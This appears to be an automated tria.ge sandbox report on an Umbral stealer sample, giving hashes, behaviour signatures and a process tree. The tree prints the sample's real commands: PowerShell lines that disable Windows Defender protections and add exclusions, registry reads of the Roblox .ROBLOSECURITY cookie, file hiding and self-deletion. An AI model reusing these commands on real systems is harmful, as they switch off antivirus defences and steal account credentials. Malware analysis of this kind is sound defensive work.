Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11/02/2025, 13:34

General

  • Target

    Umbral1.exe

  • Size

    221KB

  • MD5

    fe655b03add462121d67240f461e8787

  • SHA1

    73907706fdf7922ba19a27f4b1fd315f7c107efe

  • SHA256

    dccdba44701fbf3031e6a2ad016cb702c7941ca2abbc754ba60b1d0ca5396e82

  • SHA512

    c00653793e37dee5b4bdc5cbd0194038928e03dfb8a3e8910c54d8c20133e163c59c36fb6989c180c3fb9e39e9a37d3544292f55fd92367749e7fa143c4c8b7b

  • SSDEEP

    6144:KloZMUrIkd8g+EtXHkv/iD439sJNlK8euYi:0oZrL+EP8Na

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Umbral1.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral1.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral1.exe"
      2⤵
      • Views/modifies file attributes
      PID:3020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral1.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1744
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:668
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:2036
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1032
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:3032
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral1.exe" && pause
        2⤵
        • Deletes itself
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2068

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      73ab1933589ad0eaf6cb3524ace09dd3

      SHA1

      99032347a8e3ffe1903eeb7f34a8750639b5882f

      SHA256

      c5012a205d58f082ce759c1ba6f66ac5518ca9da2605eeeced2552739af027ab

      SHA512

      5794f028f50d09ee336d11d313195cfc629b750596d3ec14777c294ebd25e6fa55e9a1a5ba192a286227a8588136e7f093a3f06d0691b0de2f99e9e55c5442f2

    • memory/1840-1-0x0000000000A00000-0x0000000000A3E000-memory.dmp

      Filesize

      248KB

    • memory/1840-2-0x000007FEF5CC0000-0x000007FEF66AC000-memory.dmp

      Filesize

      9.9MB

    • memory/1840-52-0x000007FEF5CC0000-0x000007FEF66AC000-memory.dmp

      Filesize

      9.9MB

    • memory/1840-0-0x000007FEF5CC3000-0x000007FEF5CC4000-memory.dmp

      Filesize

      4KB

    • memory/1840-34-0x000007FEF5CC3000-0x000007FEF5CC4000-memory.dmp

      Filesize

      4KB

    • memory/1840-35-0x000007FEF5CC0000-0x000007FEF66AC000-memory.dmp

      Filesize

      9.9MB

    • memory/2580-20-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB

    • memory/2580-19-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2856-8-0x000007FEED530000-0x000007FEEDECD000-memory.dmp

      Filesize

      9.6MB

    • memory/2856-13-0x000007FEED530000-0x000007FEEDECD000-memory.dmp

      Filesize

      9.6MB

    • memory/2856-12-0x000007FEED530000-0x000007FEEDECD000-memory.dmp

      Filesize

      9.6MB

    • memory/2856-11-0x000007FEED530000-0x000007FEEDECD000-memory.dmp

      Filesize

      9.6MB

    • memory/2856-10-0x0000000002960000-0x0000000002968000-memory.dmp

      Filesize

      32KB

    • memory/2856-9-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

      Filesize

      2.9MB

    • memory/2856-7-0x000007FEED7EE000-0x000007FEED7EF000-memory.dmp

      Filesize

      4KB